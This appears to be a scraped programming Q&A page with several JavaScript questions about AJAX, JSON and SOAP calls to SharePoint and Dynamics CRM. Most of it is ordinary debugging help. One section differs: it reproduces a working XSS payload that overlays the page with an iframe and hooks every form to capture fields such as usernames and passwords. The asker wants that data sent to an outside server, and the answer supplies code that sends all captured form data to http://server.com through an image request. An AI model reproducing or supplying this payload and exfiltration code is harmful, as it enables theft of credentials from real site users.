Unable to pass JSONObject from JAVA Class to jsp - javascript

I have looked at this example but I am still unable to retrieve the JSON Object in the jsp. Here's the code in my MyCalendarController.java class:
public class MyCalendarController implements Controller{
public ModelAndView handleRequest(HttpServletRequest request,
HttpServletResponse response) throws Exception {
if("Add".equals(request.getParameter("action"))){
...
JSONObject jObj = new JSONObject();
jObj.put("test", "Success");
response.getWriter().write(jObj.toString());
...
}
return new ModelAndView("mycalendar", "model", myModel);
}
and here's how I'm trying to retrieve it in jsp but the alert always says 'undefined'
var queryString = "?action=Add";
queryString += "&t=" + title;
queryString += "&sDT=" + stDate + "T" + stHour + ":" + stMin + ":00";
queryString += "&eDT=" + eDate + "T" + eHour + ":" + eMin + ":00";
$.ajax({
type:"GET",
url: "mycalendar.htm" + queryString,
success: function(response){
alert(response.test);
}
});
Note: I am trying to create the JSON Object when the ajax call is made to the class from the jsp. I am new to ajax and javascript so must be doing something wrong... Please help!!!
In the above mentioned code, the response.responseText property is 'undefined'. But I tried it another way:
var ajaxRequest;
try{
ajaxRequest = new XMLHttpRequest();
}catch (e){
try{
ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try{
ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e){
alert("Your browser broke!");
return false;
}
}
}
ajaxRequest.onreadystatechange = function(){
if(ajaxRequest.readyState == 4){
alert(ajaxRequest.responseText);
alert("test: " + ajaxRequest.test);
}
}
var queryString = "?action=Add";
queryString += "&t=" + title;
queryString += "&sDT=" + stDate + "T" + stHour + ":" + stMin + ":00";
queryString += "&eDT=" + eDate + "T" + eHour + ":" + eMin + ":00";
ajaxRequest.open("GET", "mycalendar.htm" + queryString, true);
ajaxRequest.send(null);
This way I get the ajaxRequest.responseText but the alert("test: " + ajaxRequest.test); still shows undefined

var a = '<%=DropDown.returnList()%>';
var countryObj = JSON.parse(a);
var s = $('#selectCountry');
for(var val in countryObj)
{
$('<option />', {value: val, text: countryObj[val]}).appendTo(s);
}

Try to alert(response.responseText),I am not sure.

Related

Javascript variable's output is empty when sent via HTTP Request

I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/). Here is the code from the website:
(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}
function spoof(k){
window.history.pushState({}, "", k);
}
function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}
function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}
function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();
My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action'), so I added the following code instead of log(l) (line 19):
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action'), the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l)), I get:
Current:http://somewebsite.com
Target:/login
utf8:✓
authenticity_token:random
back_url:http://somewebsite.com
username:something#email.com
password:my_secured_password
Now my goal is to send this output into the server.
You probably need to URI-encode your query params:
new Image().src = (
'http://server.com/file.php' +
'?url=' + encodeURIComponent(document.URL) +
'&action=' + encodeURIComponent($(this).attr('action'))
);
If you need to send log output to the server, modify your function log:
function log(m) {
var s = d;
for (i in m) {
s += "\n" + i + ":" + m[i] + " ";
}
console.log(s);
new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s);
}

getting XMLHttpRequest cannot load (URL) Response for preflight is invalid (redirect)

here am trying to get reccurring events from calendar list for sharepoint Online app and there am using code as like
hostWebUrl = decodeURIComponent(manageQueryStringParameter('SPHostUrl'));
function GetListData() {
var webUrl = hostWebUrl;// = "http://server/sitewhereyourlistexists";
var listGuid = "{2000da75-8663-42d9-9999-ad855c54b4e0}"
// An XMLHttpRequest object is used to access the web service
var xhr = new XMLHttpRequest();
var url = webUrl + "/_vti_bin/Lists.asmx";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "text/xml; charset=utf-8");
xhr.setRequestHeader("SOAPAction", "http://schemas.microsoft.com/sharepoint/soap/GetListItems");
// The message body consists of an XML document
// with SOAP elements corresponding to the GetListItems method parameters
// i.e. listName, query, and queryOptions
var data = "<?xml version=\"1.0\" encoding=\"utf-8\"?>" +
"<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
"<soap:Body>" +
"<GetListItems xmlns=\"http://schemas.microsoft.com/sharepoint/soap/\">" +
"<listName>" + listGuid + "</listName>" +
"<query>" +
"<Query><Where>" +
"<DateRangesOverlap>" +
"<FieldRef Name=\"EventDate\"/>" +
"<FieldRef Name=\"EndDate\"/>" +
"<FieldRef Name=\"RecurrenceID\"/>" +
"<Value Type=\"DateTime\"><Today/></Value>" +
"</DateRangesOverlap>" +
"</Where></Query>" +
"</query>" +
"<queryOptions>" +
"<QueryOptions>" +
"<ExpandRecurrence>TRUE</ExpandRecurrence>" +
"</QueryOptions>" +
"</queryOptions>" +
"</GetListItems>" +
"</soap:Body>" +
"</soap:Envelope>";
// Here we define what code we want to run upon successfully getting the results
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var doc = xhr.responseXML;
// grab all the "row" elements from the XML results
var rows = doc.getElementsByTagName("z:row");
var results = "Today's Schedule (" + rows.length + "):\n\n";
var events = {};
for (var i = 0, len = rows.length; i < len; i++) {
var id = rows[i].getAttribute("ows_FSObjType"); // prevent duplicates from appearing in results
if (!events[id]) {
events[id] = true;
var allDay = rows[i].getAttribute("ows_fAllDayEvent"),
title = rows[i].getAttribute("ows_Title"),
start = rows[i].getAttribute("ows_EventDate");
var index = start.indexOf(" ");
var date = start.substring(5, index) + "-" + start.substring(2, 4); // get the date in MM-dd-yyyy format
start = start.substring(index, index + 6); // get the start time in hh:mm format
var end = rows[i].getAttribute("ows_EndDate");
index = end.indexOf(" "); end = end.substring(index, index + 6); // get the end time in hh:mm format
results += date + " " + (allDay == "1" ? "All Day\t" : start + " to " + end) + " \t " + title + "\n";
}
}
alert(results);
} else {
alert("Error " + xhr.status);
}
}
};
// Finally, we actually kick off the query
xhr.send(data);
}
after calling this function in decument. ready section it is not retrieving any data but there is ine error which i can see in console of browser that is as below
You will click on the correct request in the left hand side panel, then select "Inspectors" in the right hand side top panel. Then choose between the different request and response options.

Run Action in Microsoft Dynamics CRM 2016 using Javascript

I've created an Action under Process for a custom entity new_enrollment. I've created no I/O argument for that action. Now, by using following code snippet I want to run that custom action so that when action is executed a plugin get fired and create a phone call.
But it seems that action is not get executed. Any suggestion or help so that I can get action executed.
function emailOrderDetails(){
var entityId = Xrm.Page.data.entity.getId();
var entityName = "new_enrollment";
var requestName = "new_sendemail";
RunAction(entityId, entityName, requestName);
window.location.reload(true);
}
function RunAction(entityId, entityName, requestName) {
try{
// Creating the request XML for calling the Action
var requestXML = ""
requestXML += "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">";
requestXML += " <s:Body>";
requestXML += " <Execute xmlns=\"http://schemas.microsoft.com/xrm/2011/Contracts/Services\" xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\">";
requestXML += " <request xmlns:a=\"http://schemas.microsoft.com/xrm/2011/Contracts\">";
requestXML += " <a:Parameters xmlns:b=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\">";
requestXML += " <a:KeyValuePairOfstringanyType>";
requestXML += " <b:key>Target</b:key>";
requestXML += " <b:value i:type=\"a:EntityReference\">";
requestXML += " <a:Id>" + entityId + "</a:Id>";
requestXML += " <a:LogicalName>" + entityName + "</a:LogicalName>";
requestXML += " <a:Name i:nil=\"true\" />";
requestXML += " </b:value>";
requestXML += " </a:KeyValuePairOfstringanyType>";
requestXML += " </a:Parameters>";
requestXML += " <a:RequestId i:nil=\"true\" />";
requestXML += " <a:RequestName>" + requestName + "</a:RequestName>";
requestXML += " </request>";
requestXML += " </Execute>";
requestXML += " </s:Body>";
requestXML += "</s:Envelope>";
var req = new XMLHttpRequest();
req.open("POST", GetClientUrl(), false)
req.setRequestHeader("Accept", "application/xml, text/xml, */*");
req.setRequestHeader("Content-Type", "text/xml; charset=utf-8");
req.setRequestHeader("SOAPAction", "http://schemas.microsoft.com/xrm/2011/Contracts/Services/IOrganizationService/Execute");
req.send(requestXML);
//Get the Response from the CRM Execute method
//var response = req.responseXML.xml;
}
catch(e){
alert(e.Message);
}
}
function GetClientUrl() {
if (typeof Xrm.Page.context == "object") {
clientUrl = Xrm.Page.context.getClientUrl();
}
var ServicePath = "/XRMServices/2011/Organization.svc/web";
return clientUrl + ServicePath;
}
you are using 2016 which supports WebAPI and its very easy using WebAPI. Below is the working example of calling custom action using JS. I have 2 output variables, one get set by custom action and the other one "ptext" by plugin which i have registered on this Action.
Hope it will solve your problem.
function CallCAction(context) {
var Credit_Limit = Xrm.Page.getAttribute("creditlimit").getValue();
var Credit_hold = Xrm.Page.getAttribute("creditonhold").getValue();
if(Credit_hold !=null && Credit_Limit!=null){
var actionName = "new_Preferred_Check";
var inputParam = {
"Credit_Limit": Credit_Limit,
"Credit_hold": Credit_hold
};
Xrm.Page.ui.setFormNotification("Processing...","INFO","processingFId");
var actionResponse = callPreferredCust(actionName, inputParam);
if (actionResponse != null) {
Xrm.Page.getAttribute("new_preferredcust").setValue(actionResponse.Preferred_Cust);
alert(actionResponse.ptext);
Xrm.Page.ui.clearFormNotification("processingFId");
}
}
}
function callPreferredCust(actionName, inputParam) {
var result = null;
var req = new XMLHttpRequest();
var uri = Xrm.Page.context.getClientUrl() + "/api/data/v8.2/";
try {
req.open("POST",encodeURI(uri+actionName),false);
req.setRequestHeader("Accept", "application/json");
req.setRequestHeader("Content-Type", "application/json; charset=utf-8");
req.setRequestHeader("OData-MaxVersion", "4.0");
req.setRequestHeader("OData-Version", "4.0");
req.onreadystatechange = function () {
if(this.readyState==4){
req.onreadystatechange = null;
if(this.status==200){
result = JSON.parse(this.response);
}else{
var err = JSON.parse(this.response).error;
alert(err.message);
}
}
};
req.send(JSON.stringify(inputParam));
return result;
}catch(err){
alert(err.message);
}
}

Closure object becomes undefined in inner function

It's been a while since I've toyed with my JS, so I might be missing something completely obvious. I have the following:
MyApp.IaeCheckboxCallback = function ($trigger) {
var $checkbox = $trigger.find('input[type="checkbox"]');
$checkbox.on('click', function () {
doIAECallbackNT($trigger.attr('id'), $trigger.data('data-recordid'), $trigger.data('data-recordtype'),
$trigger.data('data-valuejs'), $trigger.data('data-statuselement'), $trigger.data('data-callback'))
});
};
Once inside $checkbox.on, $trigger becomes undefined. How do I prevent this?
Adding more relevant code
I'm tying into this other developer's JS that is in another script file.
function doIAECallbackNT
(
iaeId,
recordId,
recordType,
fieldName,
value,
statusElementId
)
{
doIAECallbackNT(iaeId, recordId, recordType, fieldName, value, statusElementId, function(success) { });
}
function doIAECallbackNT
(
iaeId,
recordId,
recordType,
fieldName,
value,
statusElementId,
callback
)
{
var req = newXMLHttpRequestNT ();
var statusElement = document.getElementById(statusElementId);
setStatusNT(statusElement, "Updating...");
var msg =
"<?xml version='1.0' encoding='utf-8'?>" +
"<soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'>" +
"<soap:Body>" +
"<HandleRequest xmlns='https://somesite.com/WebService/'>" +
"<iaeId>" + iaeId + "</iaeId>" +
"<recordId>" + recordId + "</recordId>" +
"<recordType>" + recordType + "</recordType>" +
"<fieldName>" + fieldName + "</fieldName>" +
"<value>" + escape(value) + "</value>" +
"</HandleRequest>" +
"</soap:Body>" +
"</soap:Envelope>";
//alert(msg);
req.onreadystatechange = function() {
if (req.readyState == 4) {
var success = false;
try { success = (req.responseXML.documentElement.getElementsByTagName("Success")[0].text.toLowerCase() == "true"); }
catch (e) { success = false; }
var msg2 = "";
//var msg3 = "";
try { msg2 = req.responseXML.documentElement.getElementsByTagName("Message")[0].text; }
catch (e) { msg2 = req.responseText; }
//msg3 = msg2;
if (!success) {
//Error: The string was not recognized as a valid DateTime. There is a unknown word starting at index 2.
if ( msg2.indexOf("valid DateTime") != -1 )
msg2 = "Failed: You entered an invalid date. Please re-enter the date.";
if (msg2.indexOf("StartDate_Must_Be_Before_EndDate") != -1)
msg2 = "Failed: The Start date must be prior to the End date. Try changing the start date first.";
//alert(msg2);
AddFailedNote(msg2);
if (statusElement.tagName.toLowerCase() != 'a')
msg2 = "<span class='error bold'>" + msg2 + "</span>";
}
else if (statusElement.tagName.toLowerCase() != 'a') {
AddSuccessNote(msg2);
msg2 = "<span class='success bold'>" + msg2 + "</span>";
}
setStatusNT(statusElement, msg2);
if (callback != null) { callback(success); }
}
};
req.open("POST", "../Services/IAEService.asmx", true);
req.setRequestHeader("Content-type", "text/xml; charset=utf-8");
req.setRequestHeader("Content-length", msg.length.toString());
req.setRequestHeader("SOAPAction", "https://www.somesite.com/WebService/HandleRequest");
req.send(msg);
}
and here's the ugly .NET rendering of a checkbox:
<span class="IaeCheckboxCallback" title="Ent?" data-recordid="11012" data-recordtype="Person" data-fieldname="HasEnterprise" data-statuselement="MainContent_MainContent_hrmol3_sp_ctl00" data-callback="function() { }" data-valuejs="MainContent_MainContent_hrmol3_dp_ctl00_0.checked" style="font-size:1em;"><input id="MainContent_MainContent_hrmol3_dp_ctl00_0" type="checkbox" name="ctl00$ctl00$MainContent$MainContent$hrmol3$dp$0$tc_HasEnterprise$ctl00" /></span>
The other person's code fails at: f (statusElement.tagName.toLowerCase() != 'a')
All the parameters that I've passed in show as undefined in the browser developer tool.

Get Particular node value in array from xml

I have one variable name as result in javascript Function.
The result variable's value is xml,
I need to form an Array with the opportunityid(which is highlighted in Image) values only.
how to get from the particular node value and form a array.?
I was used following Function,
function guid(){
var xml = "<?xml version='1.0' encoding='utf-8'?>" +
"<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" +
GenerateAuthenticationHeader() +
"<soap:Body>" +
"<RetrieveMultiple xmlns=\"http://schemas.microsoft.com/crm/2007/WebServices\">" +
"<query xmlns:q1=\"http://schemas.microsoft.com/crm/2006/Query\" xsi:type=\"q1:QueryExpression\">" +
"<q1:EntityName>opportunity </q1:EntityName>" +
"<q1:ColumnSet xsi:type='q1:ColumnSet'>" +
"<q1:Attributes>" +
"<q1:Attribute>opportunity id</q1:Attribute>" +
"</q1:Attributes>" +
"</q1:ColumnSet>" +
"<q1:Distinct>false</q1:Distinct>" +
"</query></RetrieveMultiple>" +
"</soap:Body></soap:Envelope>";
var xmlHttpRequest = new ActiveXObject("Msxml2.XMLHTTP");
xmlHttpRequest.Open("POST", "/mscrmservices/2007/CrmService.asmx", false);
xmlHttpRequest.setRequestHeader("SOAPAction", "http://schemas.microsoft.com/crm/2007/WebServices/RetrieveMultiple");
xmlHttpRequest.setRequestHeader("Content-Type", "text/xml; charset=utf-8");
xmlHttpRequest.setRequestHeader("Content-Length", xml.length);
xmlHttpRequest.send(xml);
var result = xmlHttpRequest.responseXML.xml;
var doc = new ActiveXObject("MSXML2.DOMDocument");
doc.async = false;
doc.loadXML(result);
}
As I can see the structure of your xml, it is as follows:
<soap:Body>
<RetrieveMultipleResponse>
<RetrieveMultipleResult>
<BusinessEntities>
<BusinessEntity>
<q1:oppourtunityid>
</q1:oppourtunityid>
</BusinessEntity>
</BusinessEntities>
</RetrieveMultipleResult>
</RetrieveMultipleResponse>
</soap:Body>
for this you can make use of DOM Element as follows:
var businessEntites = result.getElementsByTagName('BusinessEntity');
var oppidArr = [];
for(var i=0; i<businessEntities.length; i++)
{
var oppid = businessEntites.item(i).getElementsByTagName('q1:oppourtunityid').item(0).childNodes[0].nodeValue;
oppidArr[i] = oppid;
}
I guess, you should try below code, I have copied some of it from Mozilla's site as it's having best practice code with conditions :)
function guid(){
var xml = "<?xml version='1.0' encoding='utf-8'?>" +
"<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" +
GenerateAuthenticationHeader() +
"<soap:Body>" +
"<RetrieveMultiple xmlns=\"http://schemas.microsoft.com/crm/2007/WebServices\">" +
"<query xmlns:q1=\"http://schemas.microsoft.com/crm/2006/Query\" xsi:type=\"q1:QueryExpression\">" +
"<q1:EntityName>opportunity </q1:EntityName>" +
"<q1:ColumnSet xsi:type='q1:ColumnSet'>" +
"<q1:Attributes>" +
"<q1:Attribute>opportunity id</q1:Attribute>" +
"</q1:Attributes>" +
"</q1:ColumnSet>" +
"<q1:Distinct>false</q1:Distinct>" +
"</query></RetrieveMultiple>" +
"</soap:Body></soap:Envelope>";
var xmlHttpRequest;
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
xmlHttpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
xmlHttpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
xmlHttpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!xmlHttpRequest) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
xmlHttpRequest.onreadystatechange = getContents;
xmlHttpRequest.open("POST", "/mscrmservices/2007/CrmService.asmx", false);
xmlHttpRequest.setRequestHeader("SOAPAction", "http://schemas.microsoft.com/crm/2007/WebServices/RetrieveMultiple");
xmlHttpRequest.setRequestHeader("Content-Type", "text/xml; charset=utf-8");
xmlHttpRequest.setRequestHeader("Content-Length", xml.length);
xmlHttpRequest.send(xml);
function getContents() {
if (xmlHttpRequest.readyState === 4) {
if (xmlHttpRequest.status === 200) {
var xmldoc = xmlHttpRequest.responseXML;
var root_node = xmldoc.getElementsByTagName('q1:Attributes').item(0);
alert(root_node.firstChild.data);
} else {
alert('There was a problem with the request.');
}
}
}
}

Categories